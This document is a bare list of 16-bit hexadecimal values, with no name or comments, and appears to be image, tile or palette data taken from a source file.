0xCECE,0xCECE,0x6ECE,0x6ECE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xCECE,
0x1F1F,0x1F1F,0x1F1F,0xCECE,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x6E6E,0xCE6E,0xCECE,0xCECE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEAEA,0xEAEA,0xEAED,0xEAEA,0xCECE,0xCECE,0xCECE,0xCECE,
0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xCECE,0xCECE,0xCECE,0xCECE,0xEAEA,0xEAEA,0xEAEA,0xEAEA,
0xEACE,0xEAEA,0xEAEA,0xEAEA,0xCECE,0xCECE,0xCECE,0xCECE,
0x1F1F,0x1F1F,0x1F1F,0xCE1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0xEACE,0xEAEA,0xEAEA,0xF7F7,0xEAEA,0xF7F7,0xF7F7,0xF7F7,
0xEAEA,0xEAEA,0xEAEA,0xEAEA,0xEACE,0xEAEA,0xEAEA,0xEAEA,
0xCECE,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,0x1F1F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x5555,0xFBFB,0xFBFB,0xFBFB,0xFBFB,
0x7474,0x7474,0x7474,0x7474,0x5B5B,0x5B5B,0x5B5B,0x5B5B,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x5555,0x0A55,0x5555,0x5555,0x5555,0x0A55,0x0ABC,0x5586,
0x5555,0x0855,0x7E7E,0x0D1D,0xFBFB,0xFBFB,0x7E0A,0x1D7E,
0x7474,0x7474,0x7EE8,0x7E7E,0x5B5B,0x5B5B,0x0A5B,0x1D7E,
0x8686,0x8686,0x8628,0x8686,0x8686,0xCA86,0x0A1D,0x8686,
0x5555,0x1DC6,0x0D7E,0x5555,0x2855,0x7E1D,0x8C7E,0x5555,
0x1D0D,0x7E7E,0x1D7E,0x550A,0x7EBC,0x7E7E,0x7E7E,0xFB8C,
0x7EBC,0x7E7E,0x7E7E,0x1DBC,0x1D8C,0x7E7E,0x7E7E,0x8C1D,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,
0x5555,0x0855,0x8C8C,0x5555,0xFBFB,0x1D86,0x1DBC,0xFB0A,
0x0274,0x1D0D,0x7E7E,0x741D,0xBC0D,0x7E7E,0x7E7E,0x5B0D,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x5555,0xFBFB,0xFBFB,0xFBFB,0xFBFB,
0x7474,0x7474,0x7474,0x7474,0xB05B,0xB0B0,0xB05B,0xB0B0,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x5555,0xFBFB,0xFBFB,0xFBFB,0xFBFB,
0x7474,0x7474,0x7474,0x7474,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x8686,0x8686,0x8686,0x8686,0x5555,0x8686,0x8686,0x8686,
0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,0x5555,
0x5555,0x5555,0x5555,0x0055,0xFBFB,0xFBFB,0xFBFB,0x00FB,
0x7474,0x7474,0x7474,0x0074,0x4040,0x4040,0x4040,0x0040,
0x8686,0x8686,0x8686,0x8686,0x8686,0x0000,0x0000,0x8600,
0x0055,0x3333,0x3333,0x0033,0x3300,0x3333,0x3333,0x3333,
0x3333,0x3333,0x3333,0x3333,0x3333,0x3333,0x2E2E,0x9C2F,
0x2E33,0x2E2E,0x092E,0x9C9C,0x2E2E,0x2E2E,0x9C9C,0x0909,
0x8686,0x8686,0x8686,0x8686,0x8686,0x5555,0x8686,0x8686,
0x5500,0x5555,0x5555,0x5555,0x0033,0x5555,0x5555,0x5555,
0x3333,0x5500,0x5555,0x5555,0x2F9C,0x0033,0xFBFB,0xFBFB,
0x9C9C,0x3333,0x7400,0x7474,0x9C9C,0x2F2F,0x0033,0x0040,
0x8686,0x0086,0x0000,0x8600,0x8686,0x3300,0x3333,0x0033,
0x0055,0x3333,0x3333,0x3333,0x0055,0x3333,0x3333,0x3333,
0x0055,0x099C,0x2E2F,0x2E33,0x2F00,0x0909,0x2E09,0x2E2E,
0x2F00,0x090F,0x2F9C,0x2F2E,0x612F,0x0F0F,0x099C,0x2F2F,
0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,0x8686,
0x5500,0x5555,0x5555,0x5555,0x002E,0x5555,0x5555,0x5555,
0x002E,0x5555,0x5555,0x5555,0x002F,0xFBFB,0xFBFB,0xFBFB,
0x002F,0x7474,0x7474,0x7474,0x002F,0x4040,0x4040,0x4040,
0xE8E8,0xE8E8,0xE8E8,0xE8E8,0x6262,0x6262,0x6262,0x6262,
0x3030,0x3030,0x3030,0x3030,0xC9C9,0xC9C9,0xC9C9,0xC930,
0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x4B96,
0x9696,0x9696,0x9696,0x9665,0x6565,0x6565,0x6596,0x65DC,
0xE8E8,0xE8E8,0xE8E8,0xE8E8,0x6262,0x6262,0x6262,0x6262,
0x3030,0x3030,0x3030,0x3030,0x30C9,0x3030,0x3030,0x3030,
0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C4B,0x4B4B,0x2C2C,
0x9696,0x9696,0x9696,0x9696,0x6565,0x6565,0x6565,0x6565,
0xE8E8,0xE8E8,0xE8E8,0xE8E8,0x6262,0x6262,0x6262,0x6262,
0x3030,0x3030,0x3030,0x3030,0xC930,0xC9C9,0xC9C9,0xC9C9,
0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x4B2C,0x4B4B,0x4B4B,0x4B4B,
0x9696,0x9696,0x9696,0x9696,0x6565,0x6565,0x6565,0x6565,
0xE8E8,0xE8E8,0x98E8,0x8C7E,0x6262,0x6262,0x1E62,0x1D7E,
0x3030,0x3030,0x1E30,0x1D7E,0xC9C9,0xC9C9,0xE3C9,0x7E7E,
0x2C2C,0x2C2C,0x1A2C,0x7E1D,0x4B4B,0x4B4B,0x2C4B,0x1D77,
0x9696,0x9696,0x9696,0x1D53,0x6565,0x6565,0x9696,0xCD96,
0x1D8C,0x7E7E,0x7E7E,0x8CBC,0x7EBC,0x7E7E,0xBC7E,0x8C8C,
0x7EBC,0x7E7E,0xBC7E,0x8C8C,0x1DBC,0x7E7E,0x1D7E,0x1DBC,
0xBC8C,0x7E7E,0xBC7E,0x7E1D,0xBC8C,0x7E7E,0x8C1D,0x7EBC,
0xBC8C,0x7E7E,0x8CBC,0x7EBC,0x8CBC,0x7E7E,0x8CBC,0x7E7E,
0x7E1D,0x7E7E,0x7E7E,0x5B0D,0x7E7E,0x7E7E,0x7E7E,0x1D8C,
0x7E1D,0x7E7E,0xBC7E,0x1D8C,0x7E7E,0x7E7E,0x8C1D,0x7E1D,
0x7E7E,0x7E7E,0x8CBC,0x7E7E,0x7E7E,0x7E7E,0x1D8C,0x537E,
0x7E7E,0xBC1D,0x0D8C,0x4BE3,0x1D7E,0x8CBC,0xDB77,0x9696,
0x98EE,0x77BC,0x5B5B,0x5B5B,0x1D1D,0x7E7E,0x621D,0xE8E8,
0x7E7E,0x771D,0x3062,0x3030,0x1D7E,0x301D,0x3030,0x3030,
0x981D,0xC9C9,0xC9C9,0xC9C9,0x2C2C,0x2C2C,0x2C2C,0x2C2C,
0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x9696,0x9696,0x4B4B,0x4B4B,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0x6262,0xE8E8,0xE8E8,0xE8E8,
0x3030,0x6262,0x6262,0x6262,0x3030,0x3030,0x3030,0x3030,
0xC9C9,0xC9C9,0xC9C9,0xC9C9,0x2C2C,0x2C2C,0x2C2C,0x2C2C,
0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x4B4B,0x4B2C,0x2C4B,0x2C2C,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xE8E8,0xE8E8,0xE8E8,0xE8E8,
0x6262,0x6262,0x6262,0x6262,0x3030,0x3030,0x3030,0x3030,
0x3030,0x3030,0x3030,0x3030,0x2C2C,0x722C,0xC9C9,0xC9C9,
0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,0x2C2C,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xE8E8,0xE8E8,0xE8E8,0xE8E8,
0x6262,0x6262,0x6262,0x6262,0x3030,0x3030,0x3030,0x3030,
0x5A30,0x525A,0x5A00,0x3030,0x0090,0xCD00,0x0025,0xC990,
0x004B,0x2CC1,0x522D,0x2C2C,0x522C,0x88C1,0xCD00,0x52C1,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xEEEE,0x5BEE,0x5B5B,0x5B5B,
0x6262,0x6262,0xE8E8,0xE8E8,0x3030,0x3030,0x3030,0xB6B6,
0x3030,0x3030,0x3030,0x3030,0xC9C9,0xC9C9,0xC9C9,0xC9C9,
0x8872,0x724B,0x7272,0xC9C9,0x0012,0x1A2D,0x002D,0x7212,
0x5B5B,0x5B5B,0x5B5B,0xB0B0,0x5B5B,0x5B5B,0x5B5B,0x5B5B,
0xE8E8,0xE8E8,0xE8E8,0xE8E8,0x62B6,0x6262,0x6262,0x6262,
0x3030,0x3030,0x3030,0x3030,0x3030,0x3030,0x3030,0x3030,
0xC9C9,0xC9C9,0xC9C9,0xC9C9,0xC172,0x5A00,0x7272,0x00C1,
0xB0B0,0xB0B0,0xB0B0,0xB0B0,0x5B5B,0x5B5B,0x5B5B,0x5B5B,
0xE8E8,0xE8E8,0xE8E8,0xEEE8,0x6262,0x6262,0x6262,0x6262,
0x3030,0x3030,0x3030,0x00D9,0x3030,0x3030,0xE330,0x0000,
0xC9C9,0xC9C9,0x25C9,0x1A52,0x725A,0xC972,0x52C9,0xC952,
0xB0B0,0xB0B0,0xB0B0,0xB0B0,0x5B5B,0x5B5B,0x5B5B,0x5B5B,
0xEEEE,0xEEEE,0xEEEE,0x5BEE,0x6262,0x6262,0x6262,0x629D,
0x30D9,0xB6B6,0xD9E3,0x2D00,0x5A00,0x005A,0x0000,0xE3CD,
0xC100,0x5A2C,0xD900,0x3030,0xC12D,0x72C9,0xD900,0xC9C9,
0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB05B,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xE8E8,0xE8E8,0xEEE8,0xEEEE,
0xE362,0x5A00,0x6262,0x2DE3,0xD930,0xE300,0xB6B6,0x00CD,
0x52C9,0xCD00,0x3030,0x00E3,0x00E3,0xC152,0xC9C9,0x00E3,
0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xEEEE,0xEEEE,0xEEEE,0xEEEE,
0x005A,0xD900,0x6262,0xE330,0xD900,0x5252,0x25B6,0x0000,
0x905A,0xD900,0x1A30,0x00D9,0xC188,0x2C52,0x3030,0x0088,
0xB040,0x40B0,0x4040,0x4040,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0x8FEE,0xEEEE,0xEEEE,0xEEEE,
0x00D9,0x3BD9,0x3B3B,0xEEEE,0x5A52,0xB688,0x62B6,0x2562,
0xB6E3,0xB6B6,0xB6B6,0x2DB6,0x30E3,0x3030,0x3030,0x2DB6,
0x4040,0x4040,0x4040,0x4040,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0xB0B0,0xB0B0,0xEEEE,0x5B5B,0x5B5B,0x5B5B,
0xEEEE,0xEEEE,0xEEEE,0xEEEE,0x6225,0x6262,0x3B3B,0x3B3B,
0x1AD9,0xB6B6,0xB6B6,0xB6B6,0x0000,0xE388,0x0000,0xB688,
0x4040,0x4040,0x4040,0x4040,0x40B0,0x4040,0x4040,0x4040,
0xB0B0,0xB0B0,0xB0B0,0xB0B0,0x5B5B,0x5B5B,0x5B5B,0x5B5B,
0xEEEE,0xEEEE,0xEEEE,0xEEEE,0x3B3B,0x3B3B,0x3B3B,0x3B3B,
0xB6B6,0xB6B6,0x3B3B,0x3B3B,0xB6B6,0x00C9,0x2DD9,0xB688,
0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,
0xB0B0,0xB0B0,0xB0B0,0xB0B0,0x5B5B,0xB05B,0x5B5B,0x5B5B,
0x005A,0x5B62,0xEE5B,0xEEEE,0x00D9,0xEE62,0xEEEE,0xEEEE,
0x00D9,0x3BB6,0x3B3B,0x3B3B,0x00D9,0x30B6,0x00D9,0x8800,
0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,
0xB0B0,0x40B0,0x4040,0x4040,0x5B5B,0xB05B,0xB0B0,0xB0B0,
0xEEEE,0x5BEE,0x5B5B,0x5B5B,0xEEEE,0xEEEE,0xEEEE,0xEEEE,
0x3B3B,0x3B3B,0x3B3B,0x3B3B,0x005A,0x3B90,0x2D5A,0x3B30,
0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,
0x4040,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xEEEE,0xEEEE,0xEEEE,0xEEEE,
0x3B3B,0x3B3B,0x3B3B,0x3B3B,0x3B3B,0x3B3B,0x3B3B,0x3B3B,
0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,
0x40B0,0x4040,0x4040,0x4040,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xEEEE,0xB05B,0xEE5B,0xEEEE,
0x3B3B,0xB0EE,0x3BEE,0xEEEE,0x3B3B,0x3B3B,0x3B3B,0x3B3B,
0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,0x4040,
0x4040,0x4040,0x4040,0x4040,0xB0B0,0xB0B0,0xB0B0,0xB0B0,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xEE5B,0xEEEE,0xEEEE,0x0000,
0x3BEE,0x3B3B,0x003B,0x2E2E,0x3B3B,0x3B3B,0x3B00,0x3300,
0x2E00,0x092E,0x610F,0x0F61,0x0040,0x9C00,0x6161,0x2F0F,
0x4040,0x0040,0x2E0F,0x332E,0xB0B0,0x0000,0x2E33,0x2E2E,
0x0000,0x3333,0x2E2E,0x2E2E,0x3333,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x0909,0x2F09,0x002F,0xFD00,0x332F,0x3333,0x3333,0x3333,
0x3333,0x3333,0x2E33,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x0FFD,0x9C0F,0x9C9C,0x2F2F,0x3333,0x762E,0x2F76,0x0909,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x4000,0x4040,0x4040,0x4040,0x00FD,0x0000,0xB0B0,0xB0B0,
0x7676,0xFD76,0x0000,0x5BB0,0x2E2E,0x7676,0xFD76,0x0000,
0x2E2E,0x2E2E,0x762E,0xFD76,0x2E2E,0x2E2E,0x2E2E,0x762E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x762E,0x762F,0x2E76,
0x4040,0xB040,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0xB0B0,0x5B5B,
0x5B5B,0x5B5B,0x5B5B,0x5B5B,0xEEEE,0xEEEE,0xEEEE,0xEEEE,
0x3B00,0x3B3B,0x3B3B,0x3B3B,0x0076,0xB662,0xB6B6,0xB6B6,
0x762E,0xB600,0xB6B6,0xB6B6,0x2E2E,0x0076,0xC9B6,0xC9C9,
0xB0B0,0xB0B0,0xB0B0,0x5BB0,0x5B5B,0x5B5B,0x5B5B,0x5B5B,
0xEE5B,0xEEEE,0xEEEE,0xEEEE,0xEEEE,0x3B3B,0x623B,0x6262,
0x6262,0xB662,0xB6B6,0xB6B6,0xB6B6,0xB6B6,0x30B6,0x3030,
0x30B6,0x3030,0xC930,0xC9C9,0xC9C9,0xC9C9,0xC9C9,0x7272,
0x65F9,0x6565,0xF965,0x65F9,0xF9F9,0x6565,0xA5F9,0x6565,
0xF9F9,0x65F9,0xA5F9,0x6565,0xF9F9,0xDC65,0xDCA5,0x6565,
0xDCDC,0xDC65,0x65A5,0x6565,0x65DC,0xE065,0x96DC,0x6596,
0x6565,0xE0DC,0xDBDC,0xDB96,0x65DC,0xE0DC,0xDBDC,0x8FDB,
0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,
0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,0x9665,
0x9665,0x9696,0x6596,0xDB65,0xDB96,0xDBDB,0x4BDB,0x1ADB,
0xDBDB,0xDBDB,0x9090,0xDB90,0x908F,0x9090,0x8F90,0x90DB,
0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,0x6565,
0x6565,0x65DC,0x6565,0x9696,0x9696,0xDC65,0x9665,0x964B,
0x964B,0xDB65,0x6565,0x4B4B,0xDBDB,0x904B,0x1A90,0x901A,
0xDBDB,0xEC90,0x90EC,0x1A8F,0x8FEC,0x908F,0x2CEC,0x8FEC,
0x6565,0x6565,0x6565,0x7765,0x6565,0x969D,0xC8C8,0xC8C8,
0x8F96,0xC8C8,0x6969,0x9B69,0x6596,0x6915,0x6969,0x6969,
0x654B,0x699B,0x6969,0x6969,0x5990,0x699B,0x6969,0x6969,
0x1509,0x699B,0x6969,0x6969,0x9B59,0x9B9B,0x6969,0x6969,
0x8CBC,0x7E7E,0x1D8C,0x7E7E,0x8CBC,0x1D7E,0x7E8C,0xBC7E,
0xC8C8,0xC8C8,0x7E1D,0x58BC,0x6969,0x6969,0xC8C8,0x4B8C,
0x6969,0x6969,0x6969,0xDBC8,0x6969,0x6969,0x6969,0xC869,
0x6969,0x9B69,0x699B,0x6969,0x6969,0x6969,0x9B9B,0x699B,
0xBC1D,0xCD8C,0x9665,0x9696,0x0D8C,0x65DB,0x9665,0x9696,
0x4BE3,0x6565,0x964B,0x4B4B,0x654B,0x4B65,0x4B4B,0xDBDB,
0x1A4B,0x90DC,0x4B90,0xDBDB,0x1A1A,0x8FDB,0xDBDB,0x8F90,
0x8FC8,0xDB8F,0xEC8F,0x90EC,0x599B,0x8F8F,0xEC8F,0xEC2C,
0x9696,0x6596,0x9696,0x9696,0x9696,0x964B,0x4B65,0x4B4B,
0x9696,0x4B96,0x6565,0x4B4B,0x4B4B,0x4B4B,0xDC4B,0x4B96,
0x904B,0x9090,0xDB4B,0x4B65,0x908F,0x9090,0x9090,0x1ADB,
0x8F1A,0xECEC,0xECEC,0x1AEC,0x8FEC,0x908F,0xECEC,0x8F2C,
0x9696,0x4B4B,0x9696,0x4B2C,0x4B4B,0x4B4B,0x964B,0x2C4B,
0x4B4B,0x4B4B,0x4B4B,0x4B96,0x4B4B,0x4B4B,0x4B4B,0xDB4B,
0x9090,0x9090,0x9090,0xDB90,0x9090,0x9090,0x9090,0xDB90,
0x901A,0xECEC,0xECEC,0x8F8F,0xDB1A,0xEC8F,0x902C,0xEC1A,
0x2C4B,0x964B,0x2C4B,0x2C2C,0x4B2C,0x4B96,0x2C2C,0x2C2C,
0x962C,0x2C4B,0x4B4B,0x4B2C,0xDB4B,0x4B2C,0x4B4B,0x652C,
0x4B96,0x9090,0x2C90,0xDC4B,0x4BDB,0x4BDB,0x9090,0x1ADB,
0x8F90,0x8F90,0x8FDB,0x1A1A,0x8FEC,0xEC90,0x8F90,0x8F1A,
0x524B,0x2DC1,0x4B52,0x52C1,0x5265,0x0000,0x2CCD,0x00C1,
0x5265,0xC100,0x2C2C,0x52C1,0x2D65,0x4BC1,0x2C2C,0x52C1,
0x25DB,0x9025,0x2C90,0x52C1,0x2D90,0x902D,0xDB90,0x00CD,
0xECEC,0x90EC,0x1A1A,0xEC90,0xEC8F,0x1AEC,0xEC8F,0xECEC,
0xCD00,0x252C,0xC12D,0x2C52,0x2CC1,0x0065,0x1212,0x2C2D,
0x4B2C,0x0053,0x5212,0x2C53,0x4B96,0x004F,0x882D,0x4B12,
0x2C4B,0x2D90,0x5ACD,0x5300,0x901A,0xE390,0x0000,0x9012,
0x90EC,0xDB8F,0x9090,0x9090,0x8F90,0x908F,0xECEC,0xEC90,
0x0012,0x00C1,0x124B,0xD900,0x0012,0x2DCD,0x124B,0xCD00,
0x2D4B,0x1252,0x4B2C,0x522D,0x53E3,0x00C1,0xE353,0xC153,
0x2DC1,0x0012,0xC153,0x122D,0xC11A,0xCD00,0x1A90,0x00C1,
0x9090,0x9090,0x9090,0x9090,0xECEC,0x8F90,0x908F,0x9090,
0x2C00,0x7272,0xD972,0xCD00,0x4B2D,0x2C2C,0x4B72,0x002D,
0x2C12,0x2C2C,0x2C2C,0x122C,0x5300,0x2C2C,0x0053,0x2CCD,
0x5300,0x2C2C,0xC14B,0x4F00,0x90CD,0x9090,0x9090,0x00C1,
0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,
0x7272,0x2C72,0xD900,0x7272,0x882D,0x2C72,0xD900,0x7272,
0x5200,0x4B4B,0xD900,0x5372,0x00C1,0x2C53,0xD952,0x122C,
0x0025,0x4B1A,0xC152,0xC12C,0xE300,0x5390,0x5252,0x2590,
0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,
0x2DC1,0x52CD,0xC9C9,0x0088,0xCD52,0x00E3,0x724F,0x0088,
0xC100,0x00CD,0x2D00,0x0053,0x0000,0x2500,0xCD00,0x004F,
0x2C2D,0x882C,0x1200,0x0053,0x90C1,0x9090,0x2D2D,0x5253,
0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,
0x00D9,0xC9E3,0xC9C9,0x0088,0xD900,0xC9C9,0xC9C9,0x0088,
0xD900,0x7272,0x7272,0x0088,0x002D,0x4F25,0x2C2C,0x0053,
0x8812,0x0052,0x2CCD,0x0088,0x2CC1,0x2D4B,0x4B2D,0x0012,
0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x9090,0x4B4B,
0xC9E3,0xC9C9,0x88C9,0x0000,0xC9E3,0xC9C9,0xC9C9,0x25E3,
0x7212,0x7272,0x7272,0x5272,0x7212,0x7272,0x7272,0x5272,
0x2C12,0x2C2C,0x2C2C,0x522C,0x2CC1,0x2C2C,0x2C2C,0x522C,
0x4B90,0x4B4B,0x4B4B,0xC14B,0x4B4B,0x4B90,0x4B4B,0x4B4B,
0xE325,0x52C9,0xE35A,0xC952,0xC9D9,0x004F,0x8888,0x8800,
0xC9D9,0x0088,0x881A,0x8800,0x72D9,0x0088,0x1288,0x5300,
0x2CD9,0x524B,0x25C1,0x2C2D,0x2C25,0xE32C,0x5200,0x2C4F,
0x1A52,0x4B4B,0x4B4B,0x4B4B,0x4B4B,0x4B4B,0x4B4B,0x4B4B,
0xB63A,0x00C9,0xD900,0x2C00,0xC9C9,0x0072,0x4BC1,0xE300,
0xC9C9,0x002C,0x1ACD,0xE300,0x7272,0x002C,0x4FC1,0x1200,
0x2C2C,0x002C,0xCD52,0x5300,0x4B4B,0x004B,0x0052,0x2CC1,
0xDB4B,0x00DC,0x1212,0x4B4B,0x964B,0x00DC,0x4BCD,0x4B4B,
0x00D9,0xC13A,0x4F2D,0xD952,0x00D9,0x1AC9,0xCD4F,0x2500,
0x00D9,0x6572,0xD952,0x2D52,0x00D9,0x2D2C,0x1AD9,0x5200,
0x00D9,0x2D65,0xC1C1,0x00C1,0x00D9,0x1265,0xCD00,0xCD4B,
0x52C1,0x7265,0x902C,0x4B4B,0xDC96,0x2C65,0x4B4B,0x4B4B,
0x004F,0x3B88,0x2D2D,0xB6B6,0x2DC9,0x4FC1,0xE300,0xB6B6,
0xCDC9,0xD952,0x7252,0xC93A,0x4F72,0x0000,0x72D9,0x7272,
0x2C53,0x002D,0x7253,0x7272,0x2C65,0x2DC1,0x2C2C,0x2C2C,
0x4B4B,0xC12D,0x4B4B,0x4B4B,0xDC4B,0xCD52,0x9665,0x6596,
0xB6B6,0xB6B6,0xB6B6,0xB6B6,0xB6B6,0xB6B6,0xB6B6,0xB6B6,
0xC930,0xC9C9,0xC9C9,0xC9C9,0xC9C9,0xC9C9,0xC9C9,0xC9C9,
0x7272,0x7272,0x7272,0x7272,0x2C96,0x7272,0x7272,0x7272,
0x9696,0x2C96,0x2C72,0x2C2C,0xDBDB,0x6565,0x4B96,0x9696,
0xB6B6,0xB6B6,0xB6B6,0xB6B6,0x3030,0xB6B6,0xB6B6,0xB6B6,
0xC9C9,0x30C9,0x30C9,0x3AC9,0xC9C9,0xC9C9,0xC9C9,0x7272,
0xC972,0x2C2C,0x7272,0x7272,0x7272,0x9672,0x722C,0x2C2C,
0x2C2C,0x962C,0x4B96,0x4B4B,0x9696,0x9696,0xDC65,0x9696,
0x3B3B,0x3B3B,0x00B6,0x2E33,0xB6B6,0xB6B6,0x3300,0x2E2E,
0x3A3A,0x00C9,0x2E33,0x2E2E,0x7272,0x3300,0x2E2E,0x2E2E,
0x2C2C,0x3300,0x2E2E,0x2E2E,0x002C,0x2E33,0x2E2E,0xD02F,
0x004B,0x2E33,0x2E2E,0x2E2E,0x3300,0x2E33,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x0008,0x2E2F,0x2E2E,0x2E2E,0x0000,0x2E76,0x2E2E,0x2E2E,
0x7676,0x2E2E,0x522E,0x2E76,0x2E2F,0x2E2E,0x7652,0x7652,
0x2E2E,0x2E2E,0x2E76,0x7676,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x0008,0x2E2F,0x2E2E,0x2E2E,0x0000,0x2E76,0x2E2E,0x2E2E,
0x7676,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0xD02F,0x2E2F,0x2E2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2F2E,0x762F,0x2E2E,0x2E2E,0x2E2E,0x2F2E,
0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x2E2E,0x762E,0x2E2E,0x2E2E,
0x2E2E,0x2E2E,0x2F2F,0x2E2E,0x2E2E,0x2E2E,0x2F2E,0xFD2F,
0x2E2E,0x2E2E,0x2E2E,0x2F2E,0x2E2E,0x2E2E,0x2E76,0x2E2E,
0x2E76,0x2E2E,0xC900,0x7272,0x762F,0x2E2E,0x7200,0x7272,
0x2FFD,0x762F,0x0076,0x7272,0xFD76,0xFD0F,0x002F,0x2C2C,
0x2E2E,0x0F0F,0x2F9C,0x9600,0xFDFD,0x0FFD,0x000F,0x0000,
0xFD2F,0xFDFD,0x0FFD,0x9600,0xFDFD,0x2F2F,0xFD2F,0x6500,
0x7272,0x7272,0x7272,0x7272,0x7272,0x7272,0x2C2C,0x2C2C,
0x2C2C,0x2C2C,0x9696,0x9696,0x9696,0x9696,0x9696,0x9696,
0x9696,0x9696,0x9696,0x9696,0x9696,0x9696,0x6565,0x6565,
0x6596,0xF965,0x65F9,0x6565,0xF965,0xF9F9,0xF9F9,0xF9F9,
0xDCE0,0xE0DC,0xDBDC,0x8F90,0xDCDC,0xE0E0,0x1ADC,0x908F,
0xE0E0,0xE0E0,0xE0E0,0x1AE0,0xE0A5,0xE0A5,0xDC96,0xE0E0,
0xA5A5,0xA5A5,0x96DC,0xE0DC,0xE734,0xE0A5,0xE0DC,0xA5A5,
0x8234,0x34A4,0x34A5,0xA534,0xA570,0x2A2A,0xE7A4,0x3434,
0x908F,0x8F90,0x8FDB,0xEC90,0x9090,0x1A8F,0xEC8F,0xECEC,
0x1ADB,0x1A1A,0xEC90,0xECEC,0xDCDC,0xDB1A,0x8FDB,0x981A,
0xE0E0,0xDCE0,0x8282,0x1AE0,0xE0E0,0x53A5,0xA5A5,0xDB65,
